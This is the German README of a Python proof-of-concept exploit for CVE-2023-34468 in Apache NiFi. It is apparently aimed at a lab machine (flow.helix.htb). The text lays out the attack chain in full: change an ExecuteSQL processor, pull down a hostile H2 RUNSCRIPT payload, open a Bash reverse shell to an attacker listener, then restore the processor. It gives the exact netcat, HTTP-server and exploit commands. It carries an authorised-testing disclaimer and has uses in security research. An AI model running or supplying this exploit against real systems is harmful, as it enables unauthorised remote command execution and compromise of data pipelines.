
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
Kurzer Python-PoC zum Ausnutzen eines editierbaren Apache-NiFi-ExecuteSQL-Prozessors mit einem H2-RUNSCRIPT-Payload, um eine Remote-Befehlsausführung über eine Bash-Reverse-Shell auszulösen.
Nur für autorisierte Tests und Forschungszwecke. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id manuell.rce.sql-Payload, der einen Java-gestützten Shell-Ausführungs-Alias definiert und aufruft.nc-Listener und HTTP-Server zu starten.rce.sql über H2 RUNSCRIPT abzurufen.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Terminal 1:
rlwrap nc -lvnp 4444
Terminal 2, aus diesem Repo-Verzeichnis:
python3 -m http.server 8000
Terminal 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
Für die manuelle Prozessorauswahl:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| Produkt | Betroffene Version | Erforderlicher Zugriff | Auswirkung |
|---|---|---|---|
| Apache NiFi | Von CVE-2023-34468 betroffene Bereitstellungen mit editierbarem ExecuteSQL/H2-Verhalten | Fähigkeit, den Ziel-NiFi-Prozessor über die API zu erreichen und zu ändern | Remote-Befehlsausführung |
rce.sql wird von git ignoriert und sollte mit python3 -m http.server aus dem Repo-Verzeichnis bereitgestellt werden.--processor-id.ozcanpng — github.com/ozcanpng — ozcanpng.dev